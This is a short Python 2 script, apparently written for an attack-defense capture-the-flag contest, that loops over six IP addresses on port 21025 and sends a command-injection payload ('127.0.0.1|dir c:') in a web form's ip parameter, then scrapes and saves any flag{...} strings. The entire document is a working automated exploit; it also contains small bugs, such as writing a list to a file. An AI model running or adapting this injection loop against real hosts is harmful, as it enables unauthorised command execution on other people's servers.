比赛专用py
#!/usr/etc/env python #encoding:utf-8 #by i3ekr #token import re,os,requests res = "(flag{.*?})" for temp_ip in range(72,78): print '[+] in attack 218.76.35.%s:21025'%(temp_ip) try: url = "http://218.76.35.%s:21025/index.php?ip=127.0.0.1|dir c:&Submit=Submi"%(temp_ip) respone_html = requests.get(url,timeout=5) flags = re.findall(res,respone_html.text) for i in flags: print i with open("/home/i3ekr/Desktop/SeccuessFlag.txt",'a') as f: f.write(flags) except Exception as e: pass print "[+] all attack success."